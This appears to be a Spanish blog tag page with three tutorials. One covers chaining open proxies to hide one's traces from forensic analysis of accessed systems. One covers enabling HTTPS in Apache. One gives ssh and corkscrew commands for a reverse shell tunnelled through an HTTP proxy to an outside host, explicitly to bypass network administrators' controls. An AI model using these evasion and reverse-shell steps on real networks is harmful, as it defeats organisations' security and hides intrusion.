Mostrando entradas con la etiqueta HTTP. Mostrar todas las entradas
Mostrando entradas con la etiqueta HTTP. Mostrar todas las entradas
Proxy chaining... or how to hide your ass
A veces es necesario no dejar rastros cuando accedemos a sistemas de terceros. Sea cual sea el motivo (supongamos que es por razones nobles) y si es un sistema sensible, queremos asegurarnos de quedar lo más ocultos posibles y no dejar huellas como direcciones IP, footprints de encabezados HTTP, etc.

Para esto siempre es conveniente utilizar un servidor proxy como un intermediario que accede al servidor objetivo por nosotros y luego nos devuelve los resultados. De esta forma, si el servidor objetivo loguea nuestra actividad en el sistema, quien quedará "escrachado" en los logs será el proxy en lugar de nosotros. Así quedamos cubiertos en caso de un eventual análisis forense en el servidor objetivo.

Pero... Puede suceder que el análisis forense consulte al proxy y éste entregue información sobre nuestros accesos, lo que nos pondría en evidencia. Esta situación nos obliga a ocultar aún más nuestro rastro utilizando un proxy en el proxy. Es decir un intermediario del intermediario, para crear una cadena lo suficientemente larga que nos oculte más.

Esta técnica que consiste en conectarse a más de un proxy se denomina "proxy chaining". Cuanto mayor sea la cadena más ocultos estaremos, aunque cabe aclarar que no importa cuantos proxies agreguemos a la cadena, nunca seremos 100% anónimos.

De todas formas hay que ocultar nuestro trasero lo más que se pueda...


Proxy chaining

El proceso es bastante simple, primero ingresaremos en algún sitio como whatismyip.com para detectar con qué dirección IP salimos a Internet:


Se observa que nuestra dirección IP es 200.x.x.x. Este sitio además nos informa que estamos saliendo a Internet a través de un proxy.

Luego buscamos en Google una lista de servidores proxy abiertos (sin usuario ni password) y gratuitos:


El sitio Proxy 4 Free es uno de los primeros que aparece en la búsqueda. Es conveniente ordenar los servidores por Rating o Uptime:


Para nuestro ejemplo, el primero que elegí, al azar, fue online proxi:


Ahora, utilizando el cuadro de URL del proxy (no el de nuestro browser) accedemos a whatismyip para ver desde qué dirección IP se hace el pedido HTTP:


Se observa que ahora la dirección IP que hace el pedido HTTP es 173.224.217.162. Hasta ahora estamos ocultos detrás de un sólo proxy. Para comenzar la cadena, vamos a ingresar la dirección del siguiente proxy en el cuadro de URL del primer proxy. Como segundo proxy utilicé openet.info:


Ingresamos a whatismyip desde el cuadro de URL de openet.info y observamos que ahora la dirección IP que hace el pedido HTTP es 94.75.216.169:


Como se observa en la captura anterior, ahora tenemos dos cabeceras de proxy. La primera, de color amarillo, corresponde al proxy online proxi; la segunda, de color gris, corresponde a openet.info.
Siguiendo con el proceso de chaining agregamos otro servidor proxy a la cadena. Esta vez se trata de Safety Proxy:


Ingresamos a whatismyip nuevamente y se observa la dirección 67.159.44.24:


Ahora se observa una cabecera adicional, la cual aparece arriba de las dos anteriores. En el campo de URL de esta cabecera es donde debemos realizar nuestros pedidos HTTP.
Cabe aclarar que cuanto mayor sea la cantidad de servidores proxy que agregamos a la cadena, más lenta se torna la navegación ya que todos los pedidos y respuestas deben atravesar toda la cadena.

El siguiente gráfico muestra la cadena de servidores proxy que atraviesan nuestros pedidos hasta llegar al servidor objetivo:


Que lo disfruten!
Activar HTTPS en Apache + Forzar SSL
Una tarea que repito una y otra vez al instalar un servidor Apache, es la configuración para activar HTTPS. Los pasos son bastante simples, pero es necesario algún que otro truco. Por ello, me pareció interesante describir el procedimiento.
Además les comentaré cómo forzar al servidor a que siempre utilice HTTPS, y que no envíe nada a través de HTTP.
La configuración que describiré a continuación está pensada para una distribución debian o basada en ésta, aunque los pasos no deberían cambiar mucho en otras distros.

Para configurar HTTPS, primero deben crear un certificado SSL. Hace poco más de un año escribí una guía completa, describiendo los certificados y cómo crear uno utilizando openssl. La pueden acceder aquí.

Una vez que tenemos el certificado, debemos actualizar apache para que escuche en el puerto 443 y decirle donde están los certificados. Las distros basadas en debian suelen traer el archivo /etc/apache2/sites-available/default-ssl, en el cual se encuentra una configuración default del VirtualHost necesario para utilizar HTTPS. Podemos utilizar este archivo como base para nuestra configuración. Simplemente deben copiar el archivo de sites-available a sites-enabled:
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-enabled/
o bien, utilizar el comando a2ensite, que se encarga de habilitar Virtual Hosts definidos en sites-available:
a2ensite default-ssl
El siguiente paso me costó un par de horas de trabajo. El paso en sí es muy simple, pero encontrar el error me llevó bastante tiempo.
Luego de configurar el servidor para que funcione con ssl (incluyendo los pasos que describo luego), me encontré con que apache arrojaba el error "ssl_error_rx_record_too_long". Me costó un buen tiempo descubrir el problema, aunque la solución la tuve desde el principio en la página stackoverflow.
El error se debe a que en la configuración del VirtualHost default (/etc/apache2/sites-enabled/000-default) se especifica que apache debe utilizar esa configuración para todas las direcciones DNS y para todos los ports. Por ello, cuando accedemos a través de HTTPS (port 443), apache se encuentra con una configuración que no presenta SSL, y envía una respuesta HTTP común, cuando en realidad el browser del cliente está esperando una conexión SSL.
En fin, el error se soluciona cambiando la línea:
<VirtualHost *>
por
<VirtualHost *:80>
en el archivo /etc/apache2/sites-enabled/000-default. Ahora apache sabe que esta configuración es sólo para el port 80.

Una vez realizado el paso anterior, debemos modificar algunas líneas en el archivo sites-enabled/default-ssl para que funcione SSL. Por un lado necesitamos cambiar los paths al certificado y la clave del certificado. Dirijanse a la parte del archivo que empieza con "SSL Engine Switch" y asegúrense de que la línea "SSLEngine on" se encuentre descomentada. Luego modifiquen las líneas:
SSLCertificateKeyFile /path/clave.key
SSLCertificateFile /path/certificad.crt
y coloquen el path correspondiente. La primera especifica la ubicación de la clave, y la segunda la ubicación del certificado.


Configurado SSL correctamente, forzaremos al cliente a utilizar HTTPS en lugar de HTTP. Es decir, si el usuario olvida poner https en la dirección, forzaremos a que el server igualmente utilice https a través de una redirección.
Para forzar la redirección, agregaremos algunas líneas al archivo /etc/apache2/sites-enabled/000-default. Vayan a la parte donde se configura el directorio base, y dejenlo de la siguiente forma:
<Directory /var/www/>
...
...
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
</Directory>
Las líneas que agregamos realizan un if. Si no se está utilizando HTTPS (RewriteCond %{HTTPS} off), entonces redirigir a la misma dirección pero utilizando HTTPS (RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}). Estas reglas las obtuve de Apache: Redirect http to https Apache secure connection – force HTTPS Connections.

Eso es todo, ya tenemos habilitado SSL en Apache, y establecimos que siempre se utilice HTTPS =)
Tuneles HTTP + Reverse shell a través de Proxy
En el artículo sobre shells inversas les comentaba que nos sirven para obtener conexiones a través de firewalls y NAT, pero nos falta un añadido para que funcionen en entornos donde la única salida a internet es a través de proxies.
Muchos entornos configuran la seguridad perimetral para que el único acceso a internet sea Web, a través de proxies, cerrando toda posibilidad de salir a otros protocolos como ssh, vnc, etc. Si bien parece que esta configuración cierra la posibilidad de que máquinas de la intranet accedan a máquinas de internet, evitando las shells inversas, como veremos, esto no es así...


Túneles HTTP

Existen dos alternativas para crear túneles HTTP. Por un lado podemos utilizar un programa que cree un canal, basado en pedidos HTTP, a través del cual transmita datos de otros protocolos. Este tipo de programas están divididos en dos partes, una parte servidor que espera pedidos para establecer conexiones HTTP y un cliente utilizado en las máquinas que desean establecer el túnel.
El funcionamiento es simple y muy parecido al de los túneles SSH. Supongamos que tenemos un cliente en la intranet que desea ejecutar ssh en su máquina con acceso a internet, pero se encuentra detrás de un proxy. La máquina conectada a internet ejecuta el servidor del túnel en el port 80 y espera conexiones. El usuario que se encuentra en la máquina de la intranet abre el cliente del túnel HTTP, se conecta a al servidor a través del proxy y establece el túnel por el que transportará ssh. El servidor del túnel forwardea los datos recibidos al servidor:port correspondiente, en este caso SSH en la misma máquina.
Existen alternativas comerciales que realizan este trabajo, proporcionando servidores de túneles HTTP propios que permiten forwardear conexiones a las máquinas que deseemos (a cambio de un pago basado en la cantidad de datos transmitidos). También se pueden utilizar programas libres (cliente y servidor) que proporcionan esta capacidad. Buscando encontré uno llamado GNU httptunnel y otro HTTPTunnel@JUMPERZ.NET.

Pasemos a la otra alternativa, la cual me interesa más. El protocolo HTTP provee un método para crear túneles llamado CONNECT. Este método surgió de la necesidad de los proxies para crear conexiones SSL. Los proxies Web reciben pedidos de los browsers como si fueran un site, se conectan a la página que solicita el usuario y la devuelve al browser, esto es, actúa de mediador web entre los usuarios de la intranet y la web de internet. Este mecanismo tiene problemas con las conexiones SSL, porque en ellas la conexión es punto-a-punto entre el browser y la página web. El proxy no puede actuar de mediador, se tiene que limitar a forwardear los pedidos.
El método CONNECT soluciona el problemas de los proxies. Cuando un usuario ejecuta CONNECT en un proxie, éste entiende que el usuario desea crear una conexión TCP no-HTTP a un servidor. En este ambiente, el proxy genera una conexión TCP/IP con el servidor destino y simplemente envia/recibe datos desde/hacia la conexión con el cliente. Cabe destacar que sólo el pedido de conexión inicial es HTTP, el resto es stream TCP.
Gracias a esta propiedad del protocolo HTTP, es posible realizar cualquier tipo de conexión a través de un proxy, como ser ssh, telnet, ftp, lo que se les ocurra. Para que esto funcione el cliente que se encuentra detrás del proxy debe contar con un programa que tunelee el tráfico. Este programa es en realidad muy sencillo, solamente se encarga de enviar el pedido HTTP CONNECT inicial y luego actúa como intermediario enviando/recibiendo los datos desde/hacia el proxy. Los programas que encontré para realizar este trabajo son corkscrew y ProxyTunnel.



El problema en estos casos es que tenemos que modificar de alguna forma los programas que deseamos tunelear para que utilicen al programa itermediario. Por suerte SSH ya cuenta con esta facilidad y SSH permite tunelear cualquier otro protocolo, así que estamos salvados =)

Otro punto a tener en cuenta es que muchos proxies solamente permiten utilizar el método CONNECT cuando el pedido es al puerto 443, es decir HTTPS. Esto claramente limita a que las conexiones solamente vayan a ese puerto, pero si tenemos acceso a la máquina de internet a la que nos conectaremos, podemos hacer que el programa que deseamos acceder (por ejemplo SSH) escuche en el port 443.


Shell inversa a través de túnel HTTP

Si en el artículo anterior mezclé un poco las cosas entre túneles SSH y NetCat, ahora voy a mezclarlas entre túneles HTTP y túneles SSH.
Lo que vamos a hacer es tunelear un túnel SSH a través de un túnel HTTP... faaaaaaa



Si bien a través de un túnel HTTP podríamos enviar cualquier cosa, la facilidad que provee SSH para utilizar esta clase de túneles hace que sea la herramienta perfecta para el trabajo. Como recordarán del artículo de shell inversas, para realizarlo utilizando ssh necesitamos crear un túnel desde la máquina de la intranet a nuestra máquina en internet (shell.demasiadovivo.com). Este túnel viajará a través de un túnel HTTP que crearemos utilizando la herramienta corkscrew. Tanto Proxytunnel como corkscrew se encuentran en los repositorios de muchas distribuciones, así que no tendrán problemas para instalarlo.

Para utilizar corkscrew desde el cliente ssh, tendremos que editar el archivo de configuración de ssh que debería estar ubicado en $HOME/.ssh/config. Si no exite, creenlo. Dentro de este archivo hay que agregar la opción ProxyCommand para los host que deseamos acceder a través del túnel. El archivo de configuración deberá entonces contener las siguientes líneas:
Host *
ProxyCommand corkscrew el-proxy.com 8080 %h %p
Con esas líneas le decimos al cliente SSH que para realizar cualquier conexión (indicado con Host *) ejecute el comando corkscrew con los parámetros el-proxy.com 8080 para indicar la dirección del proxy y el port, y %h %p que SSH reemplazará automáticamente con los valores de entrada para host y port.
Una vez guardado el archivo de configuración, simplemente resta ejecutar ssh y probar:
ssh dv@shell.demasiadovivo.com -p 443
si todo fue bien, ya tenemos configurado ssh a través de un proxy HTTP... fácil no?

Lo único que resta para crear nuestra shell inversa es ejecutar los comandos que creen el túnel y luego la conexión:
En la máquina de la intranet: ssh -R 4444:localhost:443 dv@shell.demasiadovivo.com -p 443
En la máquina shell.demasiadovivo.com: ssh demasiadovivo@localhost -p 4444
donde el usuario dv debe existir en la máquina shell.demasiadovivo.com y el usuario demasiadovivo debe existir en la máquina de la intranet. Noten que en lugar de utilizar el port default 22 utilicé el 443 que es el que me permite el proxy.

También se puede hacer el truco de utilizar NetCat en la máquina de la intranet y así evitar un login, como expliqué en el artículo anterior.

Algo a tener en cuenta es que los proxies cortan las conexiones que permanecen inactivas por un cierto tiempo. Esto es algo bastante molesto, pero solucionable. Por suerte OpenSSH cuenta con un parche que hace al servidor enviar un paquete keep alive cada cierto tiempo (por ej, cada 15 segundos) para mantener la conexión activa y evitar que el proxy nos cierre la conexión. El parámetro utilizado para esto es ClientAliveInterval y se activa en el archivo sshd_config. También se puede configurar desde el cliente, editando ssh_config y agregando la línea ServerAliveInterval.


Posibilidades infinitas

Como dice el creador de ProxyTunnel en su página "How To Give Network Security Administrators a Tremendous Headache", algo así como "Cómo darle a los administradores de seguridad de red un tremendo dolor de cabeza". Gracias al túnel HTTP y a los túneles SSH podremos salir a cualquier lugar de la red que queramos, bypasseando todo control impuesto por el administrador de red, ni firewall ni NAT ni proxies pueden detenernos ahora (salvo que nos corten internet).

Si bien expliqué cómo crear una shell inversa saliendo por el proxy, también podría haber plantado un proxy en shell.demasiadovivo.com y navegar a través de ese proxy, bypasseando controles impuestos en el proxy de la intranet. De la misma forma podríamos acceder a cualquier servidor de internet a cualquier puerto, todo gracias a la flexibilidad del forwarding de SSH. El límite lo imponen ustedes.


Referencias

- On ProxyTunnel
- HTTP Tunnel (wiki)
- Build and Configure an HTTP-Proxy Application
- Tunneling SSL Through a WWW Proxy